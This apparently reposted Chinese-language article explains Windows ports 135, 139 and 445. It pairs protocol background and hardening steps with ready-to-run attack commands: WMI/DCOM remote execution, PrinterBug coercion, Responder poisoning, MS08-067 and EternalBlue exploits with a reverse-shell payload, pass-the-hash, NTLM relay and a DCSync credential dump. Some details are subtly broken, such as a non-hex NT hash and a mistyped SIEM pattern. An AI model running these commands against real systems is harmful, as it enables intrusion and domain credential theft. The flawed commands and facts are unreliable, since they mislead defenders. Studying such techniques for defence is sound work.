Windows核心端口攻防全解析:135、139、445端口的技術內幕與安全實踐

Windows核心端口攻防全解析:135、139、445端口的技術內幕與安全實踐

引言:Windows網絡通信的命脈

在Windows網絡生態系統中,135、139和445端口猶如網絡通信的"大動脈",承載著關鍵的系統服務和網絡功能。這些端口不僅是正常業務運行的基礎,也是攻擊者最常瞄準的目標。本文將深入解析這三個核心端口的技術原理、滲透利用手法及防御策略,為安全從業人員提供全面的參考指南。

端口135:RPC服務的神經中樞

技術原理深度剖析

135端口是DCE/RPC(分布式計算環境/遠程過程調用)服務的端點映射器,扮演著網絡服務"調度中心"的角色。與一般服務端口不同,135端口本身并不直接提供功能服務,而是作為客戶端與各種RPC服務之間的中介:

  1. 服務注冊機制:Windows系統中的各類RPC服務(如WMI、事件日志、計劃任務等)啟動時會向RPC端點映射器注冊自己監聽的動態端口
  2. 動態端口分配:每次系統重啟,這些RPC服務可能分配到不同的端口(通常在49152-65535范圍內)
  3. 客戶端查詢流程:客戶端只需知道目標服務器的IP和所需服務的唯一標識符(UUID),即可通過135端口獲取實際服務端口
Client Port135 DynamicPort 查詢WMI服務端口(UUID) 響應動態端口號(如54321) 連接WMI服務 提供WMI服務 Client Port135 DynamicPort

滲透測試實用技巧

作為紅隊成員,135端口提供了豐富的攻擊面:

  1. 服務枚舉與信息收集

    # 使用impacket工具包中的rpcdump.py
    rpcdump.py 192.168.1.10 | grep -i 'MS-RPRN\|MS-PAR'
    
  2. WMI遠程命令執行

    # 通過WMI執行遠程命令
    wmic /node:192.168.1.10 process call create "cmd.exe /c whoami > C:\output.txt"
    
  3. DCOM橫向移動

    # 使用dcomexec.py進行DCOM攻擊
    dcomexec.py domain/user:password@192.168.1.10 -object MMC20
    
  4. MS-RPRN打印機漏洞利用

    # 利用Print Spooler服務進行域控攻擊
    dementor.py -d domain -u user -p password 192.168.1.10 192.168.1.20
    

企業級防御方案

針對135端口的防護需要分層實施:

  1. 網絡層控制

    • 在邊界防火墻限制135端口的入站連接
    • 內部網絡實施分段隔離,限制RPC通信范圍
  2. 系統層加固

    # 禁用不必要的RPC服務
    Set-Service -Name "RemoteRegistry" -StartupType Disabled
    Set-Service -Name "Spooler" -StartupType Disabled
    
  3. 監控與檢測

    • 記錄異常RPC端點查詢行為
    • 監控非標準動態端口上的RPC連接

端口139:NetBIOS的遺產與風險

技術架構詳解

139端口是NetBIOS會話服務的標準端口,屬于NetBIOS over TCP/IP(NBT)協議棧的一部分。完整的NetBIOS三件套包括:

端口協議功能描述
137/UDPNetBIOS名稱服務主機名解析(類似DNS)
138/UDPNetBIOS數據報服務無連接通信(廣播消息)
139/TCPNetBIOS會話服務面向連接的SMB通信

在Windows 2000之前的系統中,文件共享完全依賴這套機制。典型的通信流程:

  1. 客戶端通過137端口解析目標主機名
  2. 建立139端口的TCP會話連接
  3. 在會話通道上運行SMB協議進行文件操作

歷史漏洞與現代利用

雖然現代系統已轉向直接SMB(445端口),但某些場景下139端口仍可能被利用:

  1. 傳統系統攻擊

    # 針對Windows XP系統的空會話攻擊
    enum4linux -a -u "" -p "" 192.168.1.20
    
  2. NetBIOS名稱欺騙

    # 使用responder工具進行NBT-NS欺騙
    responder -I eth0 -wFb
    
  3. SMBv1漏洞利用

    # 利用MS08-067漏洞
    msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.20; exploit"
    

現代化防護策略

對于仍需要支持傳統系統的環境:

  1. 協議升級

    # 禁用SMBv1(影響139和445端口)
    Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol
    
  2. 訪問控制

    # Windows防火墻規則示例
    netsh advfirewall firewall add rule name="Block NetBIOS" dir=in action=block protocol=TCP localport=139
    
  3. 網絡隔離

    • 將傳統系統置于獨立VLAN
    • 配置交換機端口安全策略

端口445:現代SMB的攻防戰場

SMB協議演進與安全特性

445端口承載的SMB協議經歷了多個版本迭代:

版本引入時間安全改進
SMBv11980年代無加密,NTLM認證
SMBv22006(Vista)性能提升,基本安全
SMBv32012(Win8)AES加密,完整性檢查

現代SMB的核心功能包括:

  • 文件與打印機共享
  • 遠程服務管理(SCM)
  • 命名管道(IPC$)通信
  • 分布式文件系統(DFS)

高級攻擊手法

445端口是內網橫向移動的主要通道,紅隊常用技術包括:

  1. 永恒之藍利用鏈

    # 自動化利用框架
    python eternalblue_exploit7.py 192.168.1.30 windows/shell_reverse_tcp 4444
    
  2. Pass-the-Hash攻擊

    # 使用pth-winexe工具
    pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:cc36cf7a8514893efccd3324464tkg1 //192.168.1.30 cmd
    
  3. SMB中繼攻擊

    # 使用impacket的ntlmrelayx
    ntlmrelayx.py -t smb://192.168.1.40 -c "whoami"
    
  4. Kerberos降級攻擊

    # 強制使用NTLM認證
    responder -I eth0 -A --disable-ess
    

企業級防護體系

構建縱深防御策略:

  1. 協議配置強化

    # 啟用SMB簽名(域控制器默認開啟)
    Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
    
  2. 認證保護

    # 限制NTLM使用
    New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\" -Name "RestrictSendingNTLMTraffic" -Value 2
    
  3. 網絡微分段

    # 示例:僅允許特定服務器訪問域控的445端口
    New-NetFirewallRule -DisplayName "Allow SMB to DCs" -Direction Inbound -LocalPort 445 -Protocol TCP -Action Allow -RemoteAddress 10.0.1.0/24
    
  4. 高級檢測規則

    /* SIEM檢測規則示例:異常SMB登錄 */
    SELECT * FROM security_events 
    WHERE event_id = 4624 AND logon_type = 3 
    AND process_name LIKE '%\\sbm%' 
    AND src_ip NOT IN (SELECT ip FROM asset_db WHERE type = 'workstation')
    

端口協同攻擊與防御案例分析

典型攻擊路徑重現

場景:攻擊者從初始入侵到域控提權

  1. 信息收集階段

    # 掃描發現開放135、445端口的系統
    nmap -p 135,139,445 -sV 192.168.1.0/24
    
  2. 初始突破

    # 利用MS17-010攻擊文件服務器
    python eternalblue.py 192.168.1.50
    
  3. 橫向移動

    # 通過WMI收集域信息
    wmiexec.py domain/user:password@192.168.1.100
    
  4. 權限提升

    # DCSync攻擊獲取域控憑證
    secretsdump.py -just-dc domain/user:password@192.168.1.200
    

綜合防御方案

構建多層防御體系:

  1. 網絡架構設計

    • 實施三層網絡架構(核心、分布、接入)
    • 部署私有VLAN隔離敏感系統
  2. 端口訪問矩陣

    端口允許訪問源認證要求日志記錄
    135管理子網Kerberos詳細
    139拒絕
    445業務子網SMBv3詳細
  3. 終端防護配置

    # 應用控制策略示例
    Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled
    

未來演進與替代方案

隨著網絡安全要求的提高,微軟正推動現代替代方案:

  1. SMB over QUIC:基于UDP的安全傳輸
  2. Windows Admin Center:HTTPS-based管理
  3. Just Enough Administration:精細化權限控制

管理員應考慮逐步遷移:

# 啟用Windows遠程管理(5985/5986)
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpsListener -Value $true

結語:安全平衡的藝術

Windows核心端口的管理需要在功能與安全之間尋求平衡。通過理解底層技術原理、掌握攻擊手法、實施分層防御,企業可以構建更安全的網絡環境。建議定期進行:

  1. 端口使用情況審計
  2. 攻擊模擬測試
  3. 安全配置基線檢查

只有持續關注這三類核心端口的安全狀態,才能有效防御日益復雜的網絡攻擊。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/87922.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/87922.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/87922.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從生活場景學透 JavaScript 原型與原型鏈

一、構造函數:以 “人” 為例的對象工廠 1. 生活場景下的構造函數定義 我們以 “人” 為場景創建構造函數,每個人都有姓名、年齡等個性化屬性,也有人類共有的特征: // 人類構造函數 function Person(name, age) {this.name na…

學c++ cpp 可以投遞哪些崗位

此次描述知識針對應屆生來說哈,如果是社招,更多是對于你目前從事的方向,技術棧進行招聘就好了。 此次編寫是按照boss上崗位篩選的方式進行編寫的,其實投簡歷一般也是用boss,后面也會出一篇文章給大家介紹一般找工作都用…

【Docker基礎】Docker鏡像管理:docker rmi、prune詳解

目錄 引言 1 Docker鏡像管理概述 1.1 為什么需要鏡像清理? 1.2 鏡像生命周期管理 2 docker rmi命令詳解 2.1 基本語法 2.2 常用選項 2.3 刪除單個鏡像 2.4 刪除多個鏡像 2.5 強制刪除鏡像 2.6 刪除所有鏡像 3 docker rmi工作原理 3.1 鏡像刪除流程 3.…

57-Oracle SQL Profile(23ai)實操

在上一期中說到了SQL Tuning Advisor其中一個影響對象就是SQL Profile,同樣在管理和應用開發中,SQL性能優化是個任重道遠的工作,低效的SQL語句讓應用響應緩慢,用戶整體體驗下降,拖垮搞蹦整個系統都有可能。Oracle數據庫提供了多種組合工具,有…

man的使用

man的使用 文章目錄 man的使用基本用法:常見 man 命令操作:man 命令的章節:示例: man 是 Linux 和 macOS 系統中的命令,用于查看命令和程序的手冊頁(manual pages)。手冊頁包含了關于命令、函…

【藍牙】手機連接Linux系統藍牙配對,Linux Qt5分享PDF到手機

要實現手機連接 A40i Linux 系統并通過藍牙接收 PDF 文件,可以按照以下步驟操作: 1. 配置 Linux 藍牙功能 確保開發板上的藍牙模塊已正確驅動并支持藍牙協議棧。 安裝藍牙工具: bash sudo apt install bluetooth bluez bluez-tools 啟動藍…

1432. 改變一個整數能得到的最大差值

1432. 改變一個整數能得到的最大差值 題目鏈接&#xff1a;1432. 改變一個整數能得到的最大差值 代碼如下&#xff1a; class Solution { public:int maxDiff(int num) {string s to_string(num);function<int(char, char)> replace_stoi [&](char old_char, cha…

解密 Spring MVC:從 Tomcat 到 Controller 的一次完整請求之旅

今天&#xff0c;想和你聊一個我們每天都在打交道&#xff0c;但可能不曾深入思考的話題&#xff1a;當一個 HTTP 請求從瀏覽器發出&#xff0c;到最終被我們的 Spring Controller 處理&#xff0c;它到底經歷了一場怎樣的旅程&#xff1f; 理解這個流程&#xff0c;不僅僅是為…

在 Java 中操作 Map時,高效遍歷和安全刪除數據

在 Java 中操作 Map 時&#xff0c;高效遍歷和安全刪除數據可以通過以下方式實現&#xff1a; 一、遍歷 Map 的 4 種高效方式 1. 傳統迭代器&#xff08;Iterator&#xff09; Map<String, Integer> map new HashMap<>(); map.put("key1", 5); map.pu…

力扣-136.只出現一次的數字

題目描述 給你一個 非空 整數數組 nums &#xff0c;除了某個元素只出現一次以外&#xff0c;其余每個元素均出現兩次。找出那個只出現了一次的元素。 你必須設計并實現線性時間復雜度的算法來解決此問題&#xff0c;且該算法只使用常量額外空間。 class Solution {public i…

Go 網絡編程:HTTP服務與客戶端開發

Go 在標準庫中內置了功能強大的 net/http 包&#xff0c;可快速構建高并發、高性能的 HTTP 服務&#xff0c;廣泛應用于微服務、Web后端、API中間層等場景。 一、快速創建一個HTTP服務 示例&#xff1a;最簡Hello服務 package mainimport ("fmt""net/http&quo…

【Prism】 實現注入的幾個標準化步驟(相機舉例)

?? Prism 架構中如何優雅地注冊和注入相機服務 在開發基于 Prism + WPF 的應用時,合理使用依賴注入(DI)可以大大提高系統的可維護性和擴展性。本文以一個多相機平臺管理系統為例,展示如何通過接口、枚舉、容器注冊等方式,實現相機服務的靈活配置與使用。 ?? 一、定義…

vue3組件式開發示例

1&#xff0c;定義組件&#xff08;根據實際調整提交分析結果方法&#xff09; <template><!-- 分析結果上傳對話框組件 --><el-dialogv-model"uploadResultDialog":title"title":width"width":before-close"handleBeforeC…

基于arm linux的bluealsa開啟藍牙A2DP和SCO錄音功能

bluealsa的軟件架構 #mermaid-svg-ohITacCRHItwRR1t {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-ohITacCRHItwRR1t .error-icon{fill:#552222;}#mermaid-svg-ohITacCRHItwRR1t .error-text{fill:#552222;stroke:…

網頁后端開發(基礎3--Springboot框架)

web的服務器資源&#xff1a; 靜態資源&#xff1a;服務器上存儲的不會改變的數據&#xff0c;通常不會根據用戶的請求而變化。比如&#xff1a;HTML、CSS、JS、圖片、視頻等&#xff08;負責頁面展示&#xff09; 動態資源&#xff1a;服務器端根據用戶請求和其他數據…

ROS通過urdf_to_graphiz對urdf和xacro文件進行結構可視化

對機器人的urdf文件進行結構可視化&#xff1a; 舉例命令如下&#xff1a; urdf_to_graphiz go2_description.urdf 輸出 .gv 和 .pdf文件&#xff0c;打開 pdf文件如圖&#xff1a;

基于Uniapp+PHP的教育培訓系統開發指南:網校源碼實戰剖析

在線教育日益普及的今天&#xff0c;如何快速搭建一個功能完善、體驗良好的教育培訓系統&#xff0c;成為眾多教育機構、培訓企業、個體講師關注的焦點。與其從零開發&#xff0c;不如基于成熟框架快速部署。而UniappPHP正是當前“低成本高效率”開發網校系統的黃金組合。 本文…

鍵盤 AK35I Pro V2 分析

文章目錄 AK35I Pro V21. MCU SN32F299SN32F299 內存映射 2. Bootloader3. TFT 135x240 1.14inch4. 鍵盤5. Flash PY25Q128HA6. 藍牙 CH582F7. 擴展板8. 電池 606090 3.7V 4000mAh AK35I Pro V2 AK35I Pro V2 測評視頻 鍵盤外殼使用卡扣固定, 外殼沒有螺絲, 將外框向外翹起, 用…

11. TypeScript 工具類型

TypeScript 提供了一系列內置的“工具類型”&#xff08;Utility Types&#xff09;&#xff0c;它們是對已有類型進行變換的便捷方式。通過這些工具類型&#xff0c;開發者可以更靈活、可維護地進行類型設計&#xff0c;避免重復定義類型邏輯。 工具類型的作用主要有&#xf…

Kafka性能調優全攻略:從JVM參數到系統優化

前言 在大數據處理領域&#xff0c;Kafka以其高吞吐、高并發的特性成為消息隊列的首選。然而&#xff0c;隨著業務規模的擴大和數據量的激增&#xff0c;若配置不當&#xff0c;Kafka的性能和穩定性會受到嚴重影響。其中&#xff0c;JVM參數的調整是優化Kafka性能的關鍵一環&a…